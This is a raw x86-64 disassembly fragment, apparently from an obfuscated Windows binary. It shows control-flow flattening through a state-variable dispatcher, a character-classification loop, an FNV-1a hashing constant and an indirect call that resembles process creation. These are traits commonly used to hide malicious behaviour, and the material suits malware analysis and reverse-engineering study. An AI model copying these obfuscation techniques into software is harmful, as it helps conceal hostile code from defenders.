mov edi, 0xcaf004ba
mov edx, dword [rbp + 0x114]
jmp 0x180030770
cmp edi, 0xb3b07734
je 0x180030a24
cmp edi, 0xc46bd60d
jne 0x180030a7f
mov dword [rbp + 0xf0], ebx
mov qword [rbp + 0x198], rsi
mov edi, dword [rbp + 0xe8]
mov eax, dword [rbp + 0xf0]
cmp eax, edi
mov edi, 0xc5d9b945
cmovb edi, r11d
jmp 0x180030770
cmp edi, 0xec989665
je 0x180030a4b
cmp edi, 0xed3b0916
jne 0x180030770
mov eax, dword [rbp + 0x100]
cmp eax, 0x5b
setl byte [rbp + 0xd4]
mov edi, 0x34fd6d6d
jmp 0x180030770
cmp edi, 0x8051c795
je 0x180030a64
cmp edi, 0x9304b30f
jne 0x180030770
mov edi, 0xc942d64
jmp 0x180030770
mov eax, dword [rbp + 0xf0]
mov qword [rbp + 0xf8], rax
mov edi, 0x8051c795
jmp 0x180030770
mov edi, 0xdf0d33c4
jmp 0x180030770
mov dword [rbp + 0xe8], edx
mov edi, dword [rbp + 0xe8]
movsx edi, byte [r8 + rdi]
mov dword [rbp + 0xd8], edi
mov edi, dword [rbp + 0xd8]
cmp edi, 0x1f
mov edi, 0xa94a57ae
cmovg edi, r12d
jmp 0x180030770
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0xe0]
jmp 0x180030770
mov edi, dword [rbp + 0xd8]
cmp edi, 0x7f
setl byte [rbp + 0xdf]
mov edi, 0x494b1080
jmp 0x180030770
mov edi, 0xc86312b4
mov ecx, dword [rbp + 0x100]
jmp 0x180030770
mov edi, 0x23777f42
jmp 0x180030770
mov edi, 0x6238ad6b
jmp 0x180030770
cmp byte [rbp + 0xdf], 0
mov edi, 0xa94a57ae
cmovne edi, r15d
jmp 0x180030770
mov rax, qword [rbp + 0x108]
movsx eax, byte [rax]
mov dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x100]
cmp eax, 0x40
mov edi, 0xa8588bcc
cmovg edi, r10d
jmp 0x180030770
mov edi, dword [rbp + 0xe8]
add edi, 1
mov dword [rbp + 0x114], edi
mov edi, 0x4040a640
jmp 0x180030770
mov rax, qword [rbp + 0xf8]
add rax, r8
mov qword [rbp + 0x108], rax
mov edi, 0xb3b07734
jmp 0x180030770
cmp edi, 0xc5d9b945
jne 0x180030770
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.1800ae820
sub rsp, 0x30
lea rcx, [rbp + 0x180]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x118]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, [rbp + 0xa20]
xor r8d, r8d
xor r9d, r9d
call rax
mov r11d, 0xde9741b
mov r10d, 0xed3b0916
movabs r9, 0x100000001b3
add rsp, 0x50
mov rax, qword [rbp + 0x28]
mov eax, 0x37c4bc1b
jmp 0x180026510
mov rcx, qword [rbp + 0x1228]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800ba080
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x1230]
lea rsp, [rbp + 0x1248]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret